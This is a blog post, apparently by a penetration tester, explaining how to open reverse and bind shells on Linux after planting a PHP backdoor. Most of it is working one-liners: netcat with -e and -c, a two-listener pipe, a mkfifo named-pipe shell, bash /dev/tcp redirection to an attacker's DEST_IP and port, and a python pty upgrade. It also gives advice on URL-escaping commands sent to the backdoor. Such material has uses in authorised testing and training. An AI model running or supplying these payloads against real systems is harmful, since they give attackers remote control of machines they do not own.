Reverse shells even without nc on Linux

Often when I get remote command execution on a linux system for example I’ve planted my one line php script , the next step is getting a remote shell. Usually an nc listener would be used to receive the reverse shell, and I normally start it with the -v option so that it will show when a connection is received.

If nc or ncat is installed, it should be fairly simple to send the shell to my listener. Something like this should send a reverse shell to a nc listener, running on DEST_IP:DEST_PORT:

nc DEST_IP DEST_PORT -e /bin/bash

or I could set up a bind shell on the system then connect to it later using nc:

nc -lp 4444 -e /bin/bash

It should be noted that some versions of nc (e.g. BSD) don’t need the -p option if -l is specified (in fact it is not valid to use -p with -l on those versions), and some don’t have the -e option.

It may be even better to use the -c switch instead of -e if it is available because then you can pass more than an executable name to execute. This example forwards stderr as well as stdout from bash:

nc DEST_IP DEST_PORT -c "/bin/bash 2>&1"

If there is no -e option, there are ways around it. One example is to use two nc listeners connected to bash, one to send commands and one to receive output:

nc DEST_IP DEST_PORT | /bin/bash 2>&1 | nc DEST_IP DEST_PORT+1

This is not very elegant, but it does work. We can temporarily create a named pipe and use that to connect to a single nc listener:

mkfifo /tmp/pipe;cat /tmp/pipe|nc DEST_IP DEST_PORT|/bin/bash &>/tmp/pipe;rm /tmp/pipe

There might also be ncat available on the system, which can be used just like nc in the first 4 examples above, and ncat provides options like –ssl which can be used to encrypt traffic and even verify identity..

If no versions of netcat are installed, we can always try bash redirection. Check whether commands are running inside bash with:

$echo $0


echo $SHELL

If commands are running in bash, then great, we can use bash’s tcp redirections like this:

bash &>/dev/tcp/DEST_IP/DEST_PORT <&1

This will execute bash, and forward stdout and stderr to DEST_IP:DEST_PORT and read stdin from the same. If I set up a nc listener on DEST_PORT:DEST_IP beforehand I should receive a shell.

If commands are running in something like sh, which doesn’t have tcp redirection, we can check whether bash is installed with:

which bash

an if it is, just execute the commands inside bash to get redirection:

bash -c "bash &>/dev/tcp/DEST_IP/DEST_PORT <&1"

When sending these commands in a query string (e.g to a backdoor php file), watch out for url escaping the commands. If you’re typing them into the address bar, most browsers will url escape the characters, but ampersand (“&”) often catches me out because it’s valid in a url as a query string delimiter, so it won’t be escaped for you.

If there are no versions of netcat or bash installed, then it might be time to start investigating other using other languages (e.g. perl/python) to send the shell over tcp which is outside the scope of this post.

Once you have a remote shell, executing interactive tools like sudo and passwd won’t work, but if python is installed, this one liner will make them work:

python -c "import pty;pty.spawn('/bin/bash')"

I’m sure it’s possible do similar things in other languages if python isn’t installed.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.